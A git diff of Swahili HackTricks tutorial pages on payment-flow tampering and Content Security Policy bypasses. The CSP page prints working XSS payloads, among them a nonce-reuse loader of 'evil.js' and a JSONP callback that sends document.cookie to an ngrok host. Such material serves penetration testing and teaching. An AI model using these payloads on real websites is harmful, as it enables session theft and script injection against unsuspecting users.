* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,42 +25,42 @@ Njia nyingine za kusaidia HackTricks:
|
|||
## Mbinu za Kupita Malipo
|
||||
|
||||
### Udukuzi wa Ombi
|
||||
Wakati wa mchakato wa uhamishaji, ni muhimu kufuatilia data inayobadilishwa kati ya mteja na seva. Hii inaweza kufanywa kwa kudukua maombi yote. Ndani ya maombi haya, angalia vigezo vyenye athari kubwa, kama vile:
|
||||
Wakati wa mchakato wa shughuli, ni muhimu kufuatilia data inayobadilishwa kati ya mteja na seva. Hii inaweza kufanywa kwa kudukua maombi yote. Ndani ya maombi haya, angalia vigezo vyenye athari kubwa, kama vile:
|
||||
|
||||
- **Mafanikio**: Kigezo hiki mara nyingi huonyesha hali ya uhamishaji.
|
||||
- **Mwambaa**: Inaweza kuashiria chanzo ambacho ombi lilianzia.
|
||||
- **Kurudi kwa Wito**: Kawaida hutumika kwa kumwongoza mtumiaji baada ya uhamishaji kukamilika.
|
||||
- **Mafanikio**: Kigezo hiki mara nyingi huonyesha hali ya shughuli.
|
||||
- **Referrer**: Inaweza kuelekeza chanzo ambacho ombi lilitokea.
|
||||
- **Kurudi kwa Wito**: Kawaida hutumiwa kwa kumrudisha mtumiaji baada ya shughuli kukamilika.
|
||||
|
||||
### Uchambuzi wa URL
|
||||
Ikiwa unakutana na kigezo kinachohifadhi URL, hasa moja inayofuata muundo _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua:
|
||||
Ikiwa unakutana na kigezo kinachojumuisha URL, hasa moja inayofuata muundo _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua:
|
||||
|
||||
1. **Nakili URL**: Chukua URL kutoka kwa thamani ya kigezo.
|
||||
2. **Uchunguzi wa Dirisha Jipya**: Fungua URL iliyonakiliwa kwenye dirisha jipya la kivinjari. Hatua hii ni muhimu kwa kuelewa matokeo ya uhamishaji.
|
||||
2. **Uchunguzi wa Dirisha Jipya**: Fungua URL iliyonakiliwa kwenye dirisha jipya la kivinjari. Hatua hii ni muhimu kwa kuelewa matokeo ya shughuli.
|
||||
|
||||
### Kubadilisha Vigezo
|
||||
1. **Badilisha Thamani za Vigezo**: Jaribu kubadilisha thamani za vigezo kama _Mafanikio_, _Mwambaa_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingi inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya.
|
||||
### Udukuzi wa Vigezo
|
||||
1. **Badilisha Thamani za Kigezo**: Jaribu kubadilisha thamani za vigezo kama _Mafanikio_, _Referrer_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingine inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya.
|
||||
2. **Ondoa Vigezo**: Jaribu kuondoa baadhi ya vigezo kabisa kuona jinsi mfumo unavyojibu. Baadhi ya mifumo inaweza kuwa na mbadala au tabia za msingi wakati vigezo vinavyotarajiwa havipo.
|
||||
|
||||
### Kudukua Kuki
|
||||
1. **Chunguza Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji.
|
||||
### Udukuzi wa Kuki
|
||||
1. **Angalia Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji.
|
||||
2. **Badilisha Thamani za Kuki**: Badilisha thamani zilizohifadhiwa kwenye kuki na uone jinsi jibu au tabia ya tovuti inavyobadilika.
|
||||
|
||||
### Utekapu wa Kikao
|
||||
1. **Vidakuzi vya Kikao**: Ikiwa vitambulisho vya kikao vinatumika katika mchakato wa malipo, jaribu kuviteka na kuvibadilisha. Hii inaweza kutoa ufahamu wa mapungufu katika usimamizi wa kikao.
|
||||
1. **Vidakuzi vya Kikao**: Ikiwa vidakuzi vya kikao vinatumika katika mchakato wa malipo, jaribu kuviteka na kuvibadilisha. Hii inaweza kutoa ufahamu wa mapungufu katika usimamizi wa kikao.
|
||||
|
||||
### Kubadilisha Jibu
|
||||
1. **Dukua Majibu**: Tumia zana kudukua na kuchambua majibu kutoka kwa seva. Tafuta data yoyote inayoweza kuashiria uhamishaji uliofanikiwa au kufunua hatua inayofuata katika mchakato wa malipo.
|
||||
2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kuiga hali ya uhamishaji uliofanikiwa.
|
||||
### Udukuzi wa Majibu
|
||||
1. **Dukua Majibu**: Tumia zana kudukua na kuchambua majibu kutoka kwa seva. Tafuta data yoyote inayoweza kuashiria shughuli iliyofanikiwa au kufunua hatua inayofuata katika mchakato wa malipo.
|
||||
2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kusimuliza hali ya shughuli iliyofanikiwa.
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -68,6 +68,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,28 +6,28 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wavamizi wenye uzoefu na wawindaji wa zawadi za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wakati wabunifu wa uzoefu na wawindaji wa zawadi za mdudu!
|
||||
|
||||
**Machapisho ya Kuvamia**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha msisimko na changamoto za kuvamia
|
||||
|
||||
**Habari za Kuvamia za Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kuvamia unaobadilika haraka kupitia habari za wakati halisi na ufahamu
|
||||
Kaa up-to-date na ulimwengu wa kuvamia wenye kasi kupitia habari na ufahamu wa wakati halisi
|
||||
|
||||
**Matangazo Mapya Zaidi**\
|
||||
Baki mwelekezwa na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wavamizi bora leo!
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wabunifu bora leo!
|
||||
|
||||
## Ni nini CSP
|
||||
|
||||
|
@ -48,11 +48,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
CSP inaweza kutekelezwa au kufuatiliwa kwa kutumia vichwa hivi:
|
||||
|
||||
* `Content-Security-Policy`: Inatekeleza CSP; kivinjari kinazuia uvunjaji wowote.
|
||||
* `Content-Security-Policy-Report-Only`: Hutumika kwa ufuatiliaji; hutoa ripoti za uvunjaji bila kuzuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali kabla ya uzalishaji.
|
||||
* `Content-Security-Policy-Report-Only`: Hutumika kwa ufuatiliaji; hutoa ripoti za uvunjaji bila kuzuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali ya uzalishaji.
|
||||
|
||||
### Kutambua Rasilmali
|
||||
|
||||
CSP inazuia asili za kupakia yaliyo hai na yaliyo pasipo hai, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera ya mfano ni:
|
||||
CSP inazuia asili za kupakia yaliyo hai na yaliyo pasipo hai, ikidhibiti mambo kama utekelezaji wa JavaScript ya ndani na matumizi ya `eval()`. Sera ya mfano ni:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -68,40 +68,40 @@ object-src 'none';
|
|||
|
||||
* **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URLs, scripts za ndani, na scripts zinazosababishwa na wakati wa matukio au XSLT stylesheets.
|
||||
* **default-src**: Inaweka sera ya msingi kwa kupata rasilimali wakati maelekezo maalum ya kupata hayapo.
|
||||
* **child-src**: Inabainisha rasilimali zinazoruhusiwa kwa wafanyakazi wa mtandao na maudhui ya fremu zilizojumuishwa.
|
||||
* **child-src**: Inabainisha rasilimali zinazoruhusiwa kwa wafanyakazi wa wavuti na maudhui ya fremu zilizojumuishwa.
|
||||
* **connect-src**: Inazuia URLs ambazo zinaweza kupakia kutumia interfaces kama vile fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Inazuia URLs kwa fremu.
|
||||
* **frame-ancestors**: Inabainisha ni vyanzo vipi vinaweza kujumuisha ukurasa wa sasa, inayotumika kwa vipengele kama `<frame>`, `<iframe>`, `<object>`, `<embed>`, na `<applet>`.
|
||||
* **img-src**: Inadefini vyanzo vilivyoidhinishwa kwa ajili ya picha.
|
||||
* **img-src**: Inadefinisha vyanzo vinavyoruhusiwa kwa picha.
|
||||
* **font-src**: Inabainisha vyanzo halali kwa fonts zinazopakiwa kwa kutumia `@font-face`.
|
||||
* **manifest-src**: Inadefini vyanzo vilivyoidhinishwa vya faili za maandishi ya maombi.
|
||||
* **media-src**: Inadefini vyanzo vilivyoidhinishwa kwa kupakia vitu vya media.
|
||||
* **object-src**: Inabainisha vyanzo vilivyoidhinishwa kwa vipengele vya `<object>`, `<embed>`, na `<applet>`.
|
||||
* **base-uri**: Inabainisha URLs zilizoruhusiwa kwa kupakia kwa kutumia vipengele vya `<base>`.
|
||||
* **manifest-src**: Inadefinisha vyanzo vinavyoruhusiwa vya faili za maandishi ya maombi.
|
||||
* **media-src**: Inadefinisha vyanzo vinavyoruhusiwa kwa kupakia vitu vya media.
|
||||
* **object-src**: Inabainisha vyanzo vinavyoruhusiwa kwa vipengele vya `<object>`, `<embed>`, na `<applet>`.
|
||||
* **base-uri**: Inabainisha URLs zinazoruhusiwa kwa kupakia kwa kutumia vipengele vya `<base>`.
|
||||
* **form-action**: Inaorodhesha vituo halali vya kutuma fomu.
|
||||
* **plugin-types**: Inazuia aina za mime ambazo ukurasa unaweza kuita.
|
||||
* **upgrade-insecure-requests**: Inaagiza vivinjari kubadilisha URLs za HTTP kuwa HTTPS.
|
||||
* **sandbox**: Inatumia vizuizi sawa na sifa ya sandbox ya `<iframe>`.
|
||||
* **report-to**: Inabainisha kikundi ambacho ripoti itatumwa ikiwa sera itavunjwa.
|
||||
* **worker-src**: Inabainisha vyanzo halali kwa Worker, SharedWorker, au scripts za ServiceWorker.
|
||||
* **prefetch-src**: Inabainisha vyanzo halali kwa rasilimali zitakazopakuliwa au zilizopakuliwa mapema.
|
||||
* **navigate-to**: Inazuia URLs ambazo waraka unaweza kutembelea kwa njia yoyote (a, fomu, window.location, window.open, n.k.)
|
||||
* **prefetch-src**: Inabainisha vyanzo halali kwa rasilimali zitakazopakuliwa au kuhifadhiwa mapema.
|
||||
* **navigate-to**: Inazuia URLs ambazo waraka unaweza kuvinjari kwa njia yoyote (a, fomu, window.location, window.open, n.k.)
|
||||
|
||||
### Vyanzo
|
||||
|
||||
* `*`: Inaruhusu URLs zote isipokuwa zile zenye mifumo ya `data:`, `blob:`, `filesystem:`.
|
||||
* `'self'`: Inaruhusu kupakia kutoka kwa kikoa kile kile.
|
||||
* `'data'`: Inaruhusu rasilimali kupakiwa kupitia mfumo wa data (k.m., picha zilizooanishwa kwa Base64).
|
||||
* `'data'`: Inaruhusu rasilimali kupakiwa kupitia mfumo wa data (k.m., picha zilizofanywa Base64).
|
||||
* `'none'`: Inazuia kupakia kutoka kwa chanzo chochote.
|
||||
* `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na mbinu zinazofanana, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'unsafe-hashes'`: Inawezesha wakati maalum wa matukio ya ndani.
|
||||
* `'unsafe-hashes'`: Inawezesha wakurugenzi wa matukio ya ndani maalum.
|
||||
* `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama vile `<script>` za ndani au `<style>`, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'nonce'`: Orodha nyeupe kwa scripts za ndani maalum zikitumia nonce ya kriptografia (namba inayotumiwa mara moja).
|
||||
* Ikiwa una utekelezaji mdogo wa JS, ni rahisi kupata nonce iliyotumiwa ndani ya ukurasa na `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kutumia tena kui pakia script yenye nia mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haifai), kama ifuatavyo:
|
||||
* Ikiwa una utekelezaji mdogo wa JS, ni rahisi kupata nonce iliyotumiwa ndani ya ukurasa na `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kutumia tena kupakia script yenye nia mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo haitahitajiki), kama ifuatavyo:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pakia script ukitumia nonce</summary>
|
||||
<summary>Pakia script ukitumia tena nonce</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img src=x ng-on-error='
|
||||
|
@ -114,7 +114,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Weupe scripts na hash maalum ya sha256.
|
||||
* `'strict-dynamic'`: Inaruhusu kupakia scripts kutoka chanzo chochote ikiwa imewekwa kwenye orodha nyeupe kwa njia ya nonce au hash.
|
||||
* `'strict-dynamic'`: Inaruhusu kupakia scripts kutoka chanzo chochote ikiwa imewekwa kwenye orodha nyeupe kwa nonce au hash.
|
||||
* `'host'`: Inabainisha mwenyeji maalum, kama vile `example.com`.
|
||||
* `https:`: Inazuia URL kwa wale wanaotumia HTTPS.
|
||||
* `blob:`: Inaruhusu rasilimali kupakia kutoka kwenye URL za Blob (k.m., URL za Blob zilizoundwa kupitia JavaScript).
|
||||
|
@ -122,7 +122,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `'report-sample'`: Inajumuisha sampuli ya namna ya kanuni inayokiuka katika ripoti ya ukiukaji (inayofaa kwa ajili ya kutatua hitilafu).
|
||||
* `'strict-origin'`: Kama 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo vinavyolingana na hati (vyanzo salama pekee vinaweza kupakia rasilimali kutoka vyanzo salama).
|
||||
* `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili lakini inatuma asili pekee wakati ombi ni la msalaba-asili.
|
||||
* `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakia ambazo zitaelekeza mara moja kwenye rasilimali nyingine. Siyo iliyopendekezwa kwani inadhoofisha usalama.
|
||||
* `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakia ambazo zitaelekeza mara moja kwenye rasilimali nyingine. Siyo kupendekezwa kwani inadhoofisha usalama.
|
||||
|
||||
## Sheria za CSP Zisizo Salama
|
||||
|
||||
|
@ -150,7 +150,7 @@ Payload inayofanya kazi:
|
|||
|
||||
Ikiwa kwa namna fulani unaweza kufanya **msimbo wa JS ulioruhusiwa uunde lebo mpya ya script** katika DOM na msimbo wako wa JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **lebo mpya ya script itaruhusiwa kutekelezwa**.
|
||||
|
||||
### Kipekee (\*)
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
|
@ -167,7 +167,7 @@ Payload inayofanya kazi:
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Payloads zinazofanya kazi:
|
||||
Mizigo inayofanya kazi:
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
|
@ -183,16 +183,20 @@ Payload inayofanya kazi:
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Hata hivyo, ni jambo la uwezekano mkubwa kwamba server ina **thibitisha faili iliyopakiwa** na itaruhusu tu **kupakia aina iliyodhamiriwa ya faili**.
|
||||
Hata hivyo, ni uwezekano mkubwa kwamba server ina **thibitisha faili iliyopakiwa** na itaruhusu tu **kupakia aina iliyodhamiriwa ya faili**.
|
||||
|
||||
Zaidi ya hayo, hata kama ungeweza kupakia **msimbo wa JS ndani** ya faili ukitumia kipanuzi kinachokubaliwa na server (kama vile: _script.png_) hii haitoshi kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kipanuzi** na vivinjari kama Chrome **vitakataa kutekeleza msimbo wa Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa bahati mbaya", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache haifahamu** kipanuzi cha _**.wave**_, hivyo haipatii na **aina ya MIME kama audio/\***.
|
||||
Zaidi ya hayo, hata kama ungeweza kupakia **msimbo wa JS ndani** ya faili ukitumia kipanuzi kinachokubaliwa na server (kama vile: _script.png_) hii haitoshi kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kipanuzi** na vivinjari kama Chrome **kukataa kutekeleza msimbo wa Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa bahati mbaya", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache haifahamu** kipanuzi cha _**.wave**_, hivyo haipatii na **aina ya MIME kama audio/\***.
|
||||
|
||||
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kipanuzi kilichochanganyikiwa**, unaweza kujaribu kupakia faili yenye kipanuzi hicho na Maudhui ya script. Au, ikiwa server inathibitisha muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([baadhi ya mifano ya polyglot hapa](https://github.com/Polydet/polyglot-database)).
|
||||
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kipanuzi kilichochanganyikiwa**, unaweza kujaribu kupakia faili yenye kipanuzi hicho na Maudhui ya script. Au, ikiwa server inachunguza muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([baadhi ya mifano ya polyglot hapa](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Vielekezi vya Watu Wengine + ('unsafe-eval')
|
||||
### Form-action
|
||||
|
||||
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kufichua kwa mfano siri **kwa kuingiza hatua ya fomu** (na labda kutarajia mameneja wa nywila kujaza nywila moja kwa moja). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, kumbuka kwamba `default-src` haifuniki hatua za fomu.
|
||||
|
||||
### Njia za Tatu za Mwisho + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kwa baadhi ya mzigo ufuatao **`unsafe-eval` hata haifai**.
|
||||
Kwa baadhi ya malipo yafuatayo **`unsafe-eval` hata haifai**.
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
|
@ -218,10 +222,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads zinazotumia Angular + maktaba na kazi zinazorudisha kitu cha `window` ([angalia chapisho hili](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads zinazotumia Angular + maktaba yenye kazi zinazorudisha kitu cha `window` ([angalia chapisho hili](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au maktaba zingine zilizoruhusiwa za JS), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **kazi zipi kutoka maktaba zipi zinarudisha kitu cha `window`**.
|
||||
Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au duka lingine lolote la maktaba za JS zilizoruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **kazi zipi kutoka maktaba zipi zinarudisha kitu cha `window`**.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -252,9 +256,9 @@ Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudfl
|
|||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Kudhuruza msimbo wa JS wa google recaptcha
|
||||
#### Kudhuru kanuni ya JS ya google recaptcha
|
||||
|
||||
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) unaweza kudhuruza [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipuuza CSP:
|
||||
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP kutekeleza kanuni ya JS ya kupita kwenye CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -280,11 +284,21 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
### Vipengele vya Tatu vya Mwisho + JSONP
|
||||
#### Kutumia www.google.com kwa ajili ya kurejeleza wazi
|
||||
|
||||
URL ifuatayo inarejelea kwenye example.com (kutoka [hapa](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### Njia ya Kudanganya \*.google.com/script.google.com
|
||||
|
||||
Inawezekana kutumia Google Apps Script kupokea taarifa kwenye ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Vielekezi vya Tatu + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Mazingira kama haya ambapo `script-src` imewekwa kwa `self` na kikoa fulani ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kudukuliwa kwa kutumia JSONP. Vituo vya JSONP huruhusu njia za kurejelea zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo wa kazi:
|
||||
Scenarios kama hii ambapo `script-src` imewekwa kama `self` na kikoa fulani ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kudukuliwa kwa kutumia JSONP. Vituo vya JSONP huruhusu njia za kurejelea zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo wa kazi:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -300,20 +314,20 @@ Ugunduzi sawa utatokea ikiwa **endpoint iliyosadikika ina Open Redirect** kwa sa
|
|||
|
||||
### Mabaya ya Tatu
|
||||
|
||||
Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna uwanja wengi wa tatu, ambao huenda ukaruhusiwa mahali fulani katika CSP, unaweza kutumika kwa kuchukua data au kutekeleza nambari ya JavaScript. Baadhi ya watoa huduma wa tatu hawa ni:
|
||||
